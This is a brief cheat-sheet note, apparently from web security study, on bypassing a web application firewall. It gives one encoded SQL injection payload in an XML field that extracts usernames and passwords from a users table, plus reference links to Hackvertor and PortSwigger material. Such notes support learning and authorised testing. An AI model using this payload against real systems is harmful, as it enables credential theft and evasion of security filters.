WAF Bypass

XML:

Using Hackvertor, hex_entities / dec_entities:

<storeId><@hex_entities>1 UNION SELECT username || '~' || password FROM users<@/hex_entities></storeId>

NetSPI SQL Injection Wikinetspi

Hackvertorportswigger.net

Obfuscating attacks using encodings | Web Security AcademyWebSecAcademy